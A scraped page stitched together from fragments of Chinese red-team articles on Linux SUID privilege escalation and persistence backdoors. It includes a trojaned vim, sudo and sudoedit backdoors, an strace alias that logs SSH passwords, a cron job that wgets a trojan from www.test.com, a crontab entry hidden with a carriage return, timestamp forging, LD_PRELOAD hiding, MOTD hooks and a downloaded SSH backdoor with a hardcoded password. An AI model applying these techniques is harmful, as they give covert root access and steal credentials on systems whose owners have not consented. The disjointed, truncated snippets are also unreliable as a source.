saulGoodman 一个专注于红队攻防研究的公众号 关注 Linux中SUID权限解读 做靶机的时候经常要通过Suid提权,例如使用命令: find / -user root -perm -4000...在linux中,修改密码的命令为passwd。但是,passwd命令默认只有root用户才可以使用。那既然这样,普通用户该如何修改自己的权限呢。这时,便需要Set Uid权限了,简称SUID权限。...SUID权限的基本功能: ·SUID权限仅对二进制程序有效。 ·执行者对该程序具有x的可执行权限,才可利用SUID权限。 ·此权限仅在执行该程序的过程中有效。 ·执行者讲具有程序拥有者的权限。...现在我们看一下passwd命令,该命令位于/usr/bin/目录下,是一个二进制程序 发现此命令并没有SUID权限(SUID权限的符号是s,位于程序拥有者的x权限上)。...---- 看到这里应该就清楚了,利用SUID的前提是当前用户可执行该SUID权限的程序,拥有执行权。
Linux中SUID权限解读 做靶机的时候经常要通过Suid提权,例如使用命令: find / -user root -perm -4000 -print 2>/dev/nullfind / type...现在我们就要开始说这个Suid权限了。我们创建了一个test账号,一个账号最基本的功能就是给自己修改密码。在linux中,修改密码的命令为passwd。...这时,便需要Set Uid权限了,简称SUID权限。 SUID权限的基本功能: ·SUID权限仅对二进制程序有效。 ·执行者对该程序具有x的可执行权限,才可利用SUID权限。...发现此命令并没有SUID权限(SUID权限的符号是s,位于程序拥有者的x权限上)。 那我们现在切换到test用户,看看在没有SUID权限的情况下,是否可以修改密码: ?...---- 看到这里应该就清楚了,利用SUID的前提是当前用户可执行该SUID权限的程序,拥有执行权。
环境变量的方式进行配置 果然,$VIMRUNTIME 是从 Linux 操作系统的环境变量来的 因此永久修改 VIMRUNTIME 不一定会修改 runtimepath ,只有通过Linux...:help autocmd-events 0x03 vim 后门说明 vim 软件成熟度比较高,功能较为复杂,因此可以用来做后门的内容肯定很多,作为一个 vim 用户,我对于 vim 的了解也比较有限...,相信在以后还会对现在写的后门手法进行补充 0x04 vim 自身文件后门 这类后门比较简单粗暴,直接替换相关文件,暂时未发现 vim 存在自身使用的 .so 共享库文件,因此本章节以直接替换命令本身为例...制作后门文件 1) 下载源代码 在相同版本的 Linux 主机 B 上下载相同版本 vim 源代码 在主机B上编辑更新源,取消 deb-src 的注释 在主机 B 上下载 vim 源代码(可以指定版本...成功创建了有效的带有后门,且功能正常的 vim 3) 用后门vim替换 /usr/bin/vim 4) 模拟正常使用vim触发后门 成功触发后门 5) 小结 几乎每一种后门都可以用这样的方法
$(nohup vim -E -c "py3file demo.py"> /dev/null 2>&1 &) && sleep 2 && rm -f demo....
sudo 经常被用来将普通用户权限提升至 root 权限,代替 root 执行部分程序来管理 Linux 系统,这样避免 root 密码被泄漏 这篇文章介绍了三种利用其留后门的方法,其中也涉及一个sudo...有趣的特性,在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点 sudo 配置后门 sudoedit 文件所有者后门 sudo plugin 后门 这篇文章以 Ubuntu Server...22.10 为例 0x01 sudo 配置后门 1) 简介 通常的应用场景中,配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序...空白文件名 文件 + alias 劫持的方法来隐藏新建文件 有时候也没必要新建用户,可以尝试开启那些系统用户试试,或许有惊喜也说不定,但是这种操作一定要提前试一试 0x02 sudoedit 文件所有者后门...这个后门更偏向于一个概念性的后门,以趣味性为主吧 前段时间复现 CVE-2023-22809 的时候关注到 sudoedit (sudo -e) 这个程序,这个程序用来让可以sudo的用户通过 sudoedit
说到这个话题,我们不得不先介绍一下两个东西: suid提权是什么 nmap为什么可以使用suid提权 通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的...这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。 ...script但又没有interactive模式,无法做直观对比,我只能先猜想提权失败的原因: nmap在高版本中限制了suid权限 lua脚本中限制了suid权限 新版Linux系统对子进程的suid权限进行了限制...(argv[1]);} 编译,并赋予其suid权限: root@linux:/tmp# gcc suid.c -o suidroot@linux:/tmp# chmod +s suid 接着我尝试在不同系统中...那么,如果我们就是要留一个具有suid的shell作为后门,我们应该怎么做?
/etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout /etc/profile 【系统级】Linux...%h%m%s'`.log -e read,write,connect -s2048 ssh' 上面是我搜索了10多篇文章,发现的同一条后门命令,既然有前辈写了,咱们就分析分析 上面后门中,其实 alias...把strace的输出单独写到指定的文件 /tmp/sshpwd-xxx.log ,这个没啥好说的 -e read,write,connect Linux内核目前有300多个系统调用,详细的列表可以通过...,记录明文密码,这局限性太大了,顶多可以作为一个后门辅助。...后门 ?
我们一般会再次把它们缩写为 suid 和 sgid。...SUID 在 Linux 中,所有账号的密码记录在 /etc/shadow 这个文件中,并且只有 root 可以读写入这个文件: 如果另一个普通账号 tester 需要修改自己的密码...事实上,tester 用户是可以修改 /etc/shadow 这个文件内的密码的,就是通过 SUID 的功能。...SGID 的特点与 SUID 相同,我们通过 /usr/bin/mlocate 程序来演示其用法。...设置 SUID、SGID、SBIT 权限 以数字的方式设置权限 SUID、SGID、SBIT 权限对应的数字如下: SUID->4 SGID->
Ubuntu server 16.04 默认 /etc/ssh/ssh_config
今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。...已知的可用来提权的linux可行性的文件列表如下: Nmap Vim find Bash More Less Nano cp 以下命令可以发现系统上运行的所有SUID可执行文件。...具体来说,命令将尝试查找具有root权限的SUID的文件。...Find命令权限提升 大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。...Root权限的shell VIM Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
Linux 计划任务是一项服务,由 cron 工具来完成,主要目的就是在无需人工干预的情况下运行作业 PS: 功能较为简单的at命令在Ubuntu 16.04中已经不自带了 0x01 cron服务简介...一会儿再说吧(Linux上万物皆文件,肯定是文件啦!)...3 * * * rm -r /home/xxxx/test/* 每隔10分钟下载一下我们的木马 */10 * * * * wget http://www.test.com/muma.exe 0x05 后门利用...0x06 巧用计划任务留后门 (crontab -l;printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n")|crontab...这种利用方法巧妙在使用了windows中的 \r( Linux 中显示为M),导致显示截断,从而隐藏我们真实的计划任务,我们使用crontab -e 可以看到真实的计划任务如下: ?
0x00 前情提要 在 alias 后门 | Linux 后门系列一文中,我们为了让后门完美一些,修改了后门文件的 atime、mtime,但是 ctime 一直没有办法修改,今天我们来把这一块补齐,...让后门更加完美 atime -> access time, 访问时间 mtime -> modify time,修改时间 ctime -> change time, 状态变化时间 最新版 Linux 中多了一个属性...所以可以查看 stat 的源代码,看一下 stat 应用是如何获取和管理 ctime 的,针对其调用的方法进行系统性地修改应该也是可以实现修改文件 ctime 的 0x03 系统时钟与硬件时钟 Linux...时间系统分为系统时钟和硬件时钟,系统时钟存在于Linux 内核中,而硬件时钟存在于硬件主板上 从两种时钟的命名上可以看出,硬件时钟肯定是要比系统时钟更加持久,毕竟系统时钟系统关机就没了嘛 硬件时钟靠着.../etc/update-manager/ 如果是需要执行的后门,现在执行并放置后台,如果像 alias 那种配置文件后门则不需要此章节 /etc/update-manager/release-update
加固后门 正常大家检查是否存在 LD_PRELOAD 后门的时候都是直接 echo $LD_PRELOAD ?...咱们把劫持 unalias 和劫持 alias 放在最后,先把这些命令都劫持一下: env 没有后门时候是这样的 ? 设置了后门之后是这样的 ?...成功劫持 export 没有设置后门时候是这样的 ? 设置后门后是这样的 ?...劫持成功 现在我们来进行验证后门还好用吗 ? 可以看到后门可以使用,那么现在我们来看一下以上各种方法还能否看见我们做的手脚 ? 完美!...Tips: 使用 readonly 命令设置的环境变量不可修改 在有SUID,SGID存在的文件是无视 LD_PRELOAD 的,无法用 :LD_PRELOAD 劫持 这些命令的源码 git clone
最近看了苑房弘老师的打靶课程,发现了 MOTD 这个东西,于是研究了一下,发现很适合做后门,早在08年以前就有恶意软件使用了这种方式,今天系统地研究一下 motd,全称Message Of The Day...,是Linux中发送问候消息的功能,一般在我们登录服务器后显示 每次任意用户登录时都会触发motd服务的功能,这个功能的脚本几乎都是使用root 权限来启动的,所以很适合用来做后门 实用部分 随着关注我们的朋友越来越多...root权限 留后门 这个目录下的所有文件在任意用户登录后都会执行一遍,所以我们可以选择新建一个脚本或者修改其中的脚本来完成留后门的目的 以 00-header 文件为例 #!...- Linux 命令搜索引擎 https://wangchujiang.com/linux-command/c/trap.html # Construct a user agent, similar to...是如何使策略配置生效的 参考 Linux Source Command with Examples https://linuxhint.com/linux-source-command-examples
suid提权 说到这个话题,我们不得不先介绍一下两个东西: suid提权是什么 nmap为什么可以使用suid提权 通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。...这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。...interactive模式,无法做直观对比,我只能先猜想提权失败的原因: nmap在高版本中限制了suid权限 lua脚本中限制了suid权限 新版Linux系统对子进程的suid权限进行了限制 这些猜想中变量太多...(argv[1]); } 编译,并赋予其suid权限: root@linux:/tmp# gcc suid.c -o suid root@linux:/tmp# chmod +s suid 接着我尝试在不同系统中...那么,如果我们就是要留一个具有suid的shell作为后门,我们应该怎么做?
ssh/ssh_config /etc/ssh/ssh_config.old 2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 3、下载并安装ssh后门...: 将sshdb.tgz后门程序放置到你自己的服务器的某目录下,并且改成为test.tgz,这里为www.test.com的根目录下 # wget http://www.test.com/test.tgz...# tar zxvf test.tgz # cd openssh 4、设置ssh后门的登录密码: vi includes.h define _SECRET_PASSWD "test1234" ->...#test1234位后门连接密码 5、编译安装: # ....ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config 重启服务 # /etc/init.d/sshd restart 6、登入后门
第一部分:SUID 首先了解一下SUID主要功能:当用户执行某一程序时,临时获得该程序所有者的身份(非所有者以所有者身份运行) 这样的说法难免有些晦涩,打个比方: 普通用户是没有/etc/shadow...由上面的例子,我们可以知道 1.只有可执行的二进制程序才能设定SUID权限。(给一个非程序设定SUID是没有意义的) 2.命令的执行者必须对该程序拥有X(执行)权限,否则没有SUID没有意义。...3.SUID权限只在程序运行的过程中有效。(普通用户变身为root超人的时间和限制是非常严格的) 所以,大家在设定SUID是时一定要十分谨慎,因为SUID权限是十分危险的!...假设你给VIM设定的SUID权限,那么任何人都可以直接修改系统关键文件,包括但不仅限于shadow文件。 好了,了解完SUID的知识,终于可以设定SUID权限了。 如何设定SUID权限?...如何删除SUID权限? 很简单,将权限再次指回即可。
d在我们攻防当中,常常会碰到linux机器,拿到之后为了避免发现 低权限升高权限 创建一个c文件 #include int main() { setuid(0);
perl 和 Python 在做反弹shell基本差不多,Python 那一节有点讲的太多了,大家可以对比一下参数,照着Python的思路移到 perl 上,我...
描述 SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如,Linux ping命令通常需要root权限才能打开网络套接字。...如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。...以下是一些可用于产生SHELL的程序: nmap vim less more nano cp mv find 查找suid和guid文件 Find SUID find / -perm -u=s -type...bin / nmap –让我们确认nmap是否设置了SUID位。...Nmap的SUID位置1。很多时候,管理员将SUID位设置为nmap,以便可以有效地扫描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。
领取专属 10元无门槛券
手把手带您无忧上云